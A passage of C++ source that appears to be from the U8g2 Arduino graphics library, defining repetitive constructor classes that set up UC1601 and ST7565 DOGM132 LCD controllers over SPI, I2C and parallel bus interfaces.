u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1601_128X32_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X32_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1601_128X32_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1601_128X32_2_6800 : public U8G2 { public: U8G2_UC1601_128X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X32_2_8080 : public U8G2 { public: U8G2_UC1601_128X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X32_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1601_128X32_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X32_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1601_128X32_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1601_128X32_F_6800 : public U8G2 { public: U8G2_UC1601_128X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X32_F_8080 : public U8G2 { public: U8G2_UC1601_128X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X32_1_SW_I2C : public U8G2 { public: U8G2_UC1601_128X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1601_128X32_1_HW_I2C : public U8G2 { public: U8G2_UC1601_128X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1601_128X32_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1601_128X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1601_128X32_2_SW_I2C : public U8G2 { public: U8G2_UC1601_128X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1601_128X32_2_HW_I2C : public U8G2 { public: U8G2_UC1601_128X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1601_128X32_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1601_128X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1601_128X32_F_SW_I2C : public U8G2 { public: U8G2_UC1601_128X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1601_128X32_F_HW_I2C : public U8G2 { public: U8G2_UC1601_128X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1601_128X32_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1601_128X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1601_128X64_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1601_128X64_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X64_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1601_128X64_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1601_128X64_1_6800 : public U8G2 { public: U8G2_UC1601_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X64_1_8080 : public U8G2 { public: U8G2_UC1601_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X64_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1601_128X64_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X64_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1601_128X64_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1601_128X64_2_6800 : public U8G2 { public: U8G2_UC1601_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X64_2_8080 : public U8G2 { public: U8G2_UC1601_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X64_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1601_128X64_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1601_128X64_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1601_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1601_128X64_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1601_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1601_128X64_F_6800 : public U8G2 { public: U8G2_UC1601_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X64_F_8080 : public U8G2 { public: U8G2_UC1601_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1601_128X64_1_SW_I2C : public U8G2 { public: U8G2_UC1601_128X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1601_128X64_1_HW_I2C : public U8G2 { public: U8G2_UC1601_128X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1601_128X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1601_128X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1601_128X64_2_SW_I2C : public U8G2 { public: U8G2_UC1601_128X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1601_128X64_2_HW_I2C : public U8G2 { public: U8G2_UC1601_128X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1601_128X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1601_128X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1601_128X64_F_SW_I2C : public U8G2 { public: U8G2_UC1601_128X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1601_128X64_F_HW_I2C : public U8G2 { public: U8G2_UC1601_128X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1601_128X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1601_128X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1601_i2c_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_ST7565_EA_DOGM132_1_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_1_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_1_3W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_ST7565_EA_DOGM132_1_3W_HW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_ST7565_EA_DOGM132_1_6800 : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_1_8080 : public U8G2 { public: U8G2_ST7565_EA_DOGM132_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_ST7565_EA_DOGM132_2_4W_SW_SPI : public U8G2 { public: U8G2_ST7565_EA_DOGM132_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_st7565_ea_dogm132_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); 